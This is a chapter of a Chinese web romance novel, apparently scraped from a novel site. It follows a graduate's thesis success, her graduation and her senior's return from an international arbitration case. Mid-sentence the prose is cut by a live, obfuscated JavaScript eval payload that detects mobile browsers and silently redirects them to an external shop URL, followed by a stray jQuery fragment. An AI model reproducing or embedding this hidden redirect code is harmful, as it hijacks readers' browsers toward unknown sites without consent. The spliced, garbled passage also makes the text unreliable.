文趣网 > 其他小说 > 拜托了师兄! > 17. 第 17 章
    除了考虑延毕的文章外,其他论文评审结果都是当场通知,老师对每篇优秀论文都给予了点评,对程思渊更是充分肯定。

    答辩完毕,教室内人群散开,程思渊没作停留,目光在教室内逡巡一圈,随即拨通宋簿的电话,快步从后门出去。

    迅速走下楼,穿过楼梯间,穿过零散的人群。

    一个拐角,熟悉的电话铃声进了她耳朵里。

    铃声越发清晰,程思渊放慢脚步。

    二楼露台处,一个人影,站在丛丛的蓝雪花前,手臂随意倚着栏杆。

    程思渊听见自己的心轻轻跳了一下。

    她上前两步,正要上前,这时,几名老师沿着阶梯走下来,与宋簿点头问好,其中一人主动上前来,二人握了握手。

    宋簿与之寒暄几句,待人离开,再低头看腕表。

    视线中,闯进女孩细直的小腿、垂落的墨绿色裙摆。

    宋簿抬眸。

    他眉峰微扬:“拿了优秀吗?”

    程思渊重重点头。

    当场公布,程思渊获评优秀论文,得到所有老师的一致认可。

    宋簿颔首:“不错。”

    答辩时的兴奋和紧张还未褪去,程思渊脸上有红晕,唇边绽放一个笑容。

    宋簿潇然转身,“行了,我走了,这下要坐红眼航班了。”

    程思渊连步追他:“我送你……我骑小毛驴送你到停车场!”

    “我付出和回报真成正比呢。”

    “才好几分钟,你不要阴阳怪气啦!”

    微风轻拂,盛夏的蝉绵绵不休。

    -

    答辩之后,一切按了快进键。

    家族群里,姑父不知从哪里知道的消息,跳出来恭喜思渊被评了优秀论文,全群都结束潜水,冒出来竖大拇指,这种阵仗上一次出现,还是表哥发了nature,程思渊实在很惭愧。

    家人的支持一直是程思渊生活里重要的部分,毕业典礼这天,全家人都到了场。

    她远在欧洲的父母在前一天坐国际航班飞来,外公也是提前从基地乘车回容,低调赶到学校,只提示了学校注意安保,未做特别接待。

    一家人都围绕着程思渊,在她人生的大场面里给予支持和陪伴。

    典礼结束后,在室内留影数张,再一同乘车到宿舍,为她把东西都收拾回家。

    大一那年,程思渊在家人陪伴下来到容大,七年后的研三,也是这样离开。

    她不是最后离开的人,因此走之前,宿舍里仍然充实、熟悉,校园内依然热闹而美好。

    车辆穿过容大的校门,校门上的字体由一位近代知名社会活动家书写,落笔穹劲有力,笔锋穿透百年岁月,照着一代又一代充满朝气的青年。

    ……

    一个月后。

    来到容城最热的时节。

    距离程思渊与宋簿上一次联系,也已经一个月了。

    答辩的那一天,宋簿登机前,告诉她自己要关机了,而自那之后,程思渊问他是否落地、比利时是晴是雨,都没有回复。

    虽然他对人爱答不理是很平常,但是程思渊总怀疑,他这是任务完成,把她从待办事项里勾掉了。

    程思渊有点郁闷。

    但她仍然兑现对自己的承诺,吃吃喝喝玩玩乐乐,度过着人生最后一个暑假。

    晚上家庭聚餐,在大姑姑家吃饭,程思渊骑着电动自行车,穿过容城老城区的树荫和建筑,悠悠闲闲的到了。

    程家的家庭聚会嘛,都是轻声细语、欢声笑语,大家都不是会大声说话的主,就算有反对意见,也用最温和的方式表达。

    家庭聚会前半场,讨论各种学术、社会新闻,后半场,展露人之本性,八卦谁家离了婚、抱了私生子回来。

    年轻一辈则讨论在德读博的表哥与小弟前后谈上了同一个女孩,女孩吃了回头草,大家有意起哄架秧子,小弟吹胡子瞪眼,气的撒腿去外面跟狗玩。

    这侵犯了思渊的权益,小狗本是她一个人在玩。

    小弟道:“圆圆你评评理,有他们这样的吗,哪壶不开偏要提哪壶,做兄弟姐妹哪有这样的。”

    思渊哎呀叫着从他手里把小狗抢出来:“不能摸脚脚毛,人家不喜欢,你没礼貌,你就是这样找不到女朋友。”

    小弟吐血。

    他反击:“你不光找不到男朋友,你还研究生毕业了找不到工作。”

    程思渊不为所动:“要你管,谁要上赶着去上班?”

    小弟愤愤。

    他与程思渊性格相似,都是九分的晴天一分的雨,那雨下了一阵立马能转大晴天。很快又很想继续和小狗玩,也和圆圆姐姐玩,“那你不上班,你跟我出去玩不?”

    正值暑假大好时光,小弟规划了欧洲七国游,疗疗他被表哥横刀夺爱的伤。

    程思渊有点兴趣,让他交出攻略来看看。

    两个辈分最小的,就这么在花园里头凑头,研究了半小时。

    小弟看她真有兴趣,十分兴奋,因为圆圆姐姐的零花钱比他多,她参与的话他能从穷游升级到奢华游。

    正口若悬河,旅行社销售附体时,程思渊电话响了一声——

    他于是眼睁睁看着程思渊径直切换线路,毫不犹豫的屏蔽了有血缘关系的弟弟,低头开始和人回信息。

    “所以定哪天的票?姐?”

    “圆圆姐!”

    程思渊脑袋埋在手机里,嫌他吵似的,挥了两下手赶他,“随便。”

    这怎么随便?

    ……

    宋簿下午刚落地容城,一行人都很疲惫,乘车回到所里,仍不下班,复盘这次仲裁的得与失。

    会议室里冷气打得极低,衬衫袖子挽起,小臂裸露在外,领带早已经扯松,挂在脖间。

    女同事递来一杯咖啡,宋簿摆手未接,为免同事尴尬,傅辛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724939|208819||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    成双手接过,夸张道谢。

    宋簿性格冷淡,但专业过硬、工作品性一流、脸蛋气质究极能打,这一趟国际差,把女同事迷得不行。

    可惜流水无情,傅辛成拉走女同事:“对了艾琳,投诉材料都交到律协了吗?”

    “交了。”

    这一趟出差,是为一起国际仲裁,他们团队作为国内某家企业的律师远赴国外,递交方案,并做交锋。

    案子早已在金诚,流程走了一年半,今次有宋簿的强力加盟,共赴战场,本是胜算满满。

    但到那边,还是出了岔子,团队内一名律师被对方买通,泄露机密,横生许多枝节。

    虽然最终结果还算如意,但那过程……真是不愿回想了。

    傅辛成把女同事支开,又接了个委托方的电话,这才回头去找宋簿。宋簿正稍作休息,靠在灰色真皮椅背上,单手拿手机。他上前去,刚接近,瞥到聊天框。

    “在和学妹聊天呢?上回听你说她毕业了,上哪工作去了?”

    “不知道。”

    “你也不都关心关心人家,刚上社会,正需要师兄关怀的嘛,”傅辛成拉开一张椅子坐下,“和你说声,刚思成科技的袁总打了电话来,对咱们这趟的结果挺满意的,款项在走流程了,你这边按提成进账三百二,林岳肯定不分了,你看看怎么给你手底下的团队发钱。”

    “都行。照你团队的比例来。”

    傅辛成这里有四个执业律师、五个助理,宋簿这边人数只有一半,并且要剔掉那个叛徒,这样比例分,到手要高出傅辛成团队成员近乎一倍。

    那他手下人得闹翻天,傅辛成捧住宋簿的手,道:“兄弟你行行好,为了我。”

    宋簿懒得管这些事:“随你,你来分。”

    “我就知道你好。”

    宋簿面无表情,挥开手。

    傅辛成又道:“林岳给开了,你这边再招人得格外审慎,咱们吃一堑长一智,你说呢?”

    宋簿名下团队律师是由所内老人转进来的,只有律助才向外社招了,可这样都闹出了叛徒的事,要再招贤,真得慎之又慎。

    “你想说什么?”

    “接下来,招点信得过的人吧,我帮你物色了几个朋友。还有你这个学妹,是怎么个计划,你看着还算顺眼吗?”

    宋簿微顿。

    他低头,视线落回屏幕,停留几秒。

    聊天框内,他第一条回复程思渊道:日日晴朗。

    程思渊没有学拖延回信那一套,秒回了他,问是否回了容城,又叽里呱啦说了一堆毕业的事,遗憾他没有来毕业典礼,接着发了自己的毕业照给他。

    ……好像幼儿园小朋友回家汇报流水账一般。

    宋簿发去信息,问她:“接下来有什么计划?”

    程思渊既胸无大志、也豪心壮志:“计划出去玩个一年半载,玩遍地球!”

    宋簿回了一个“。”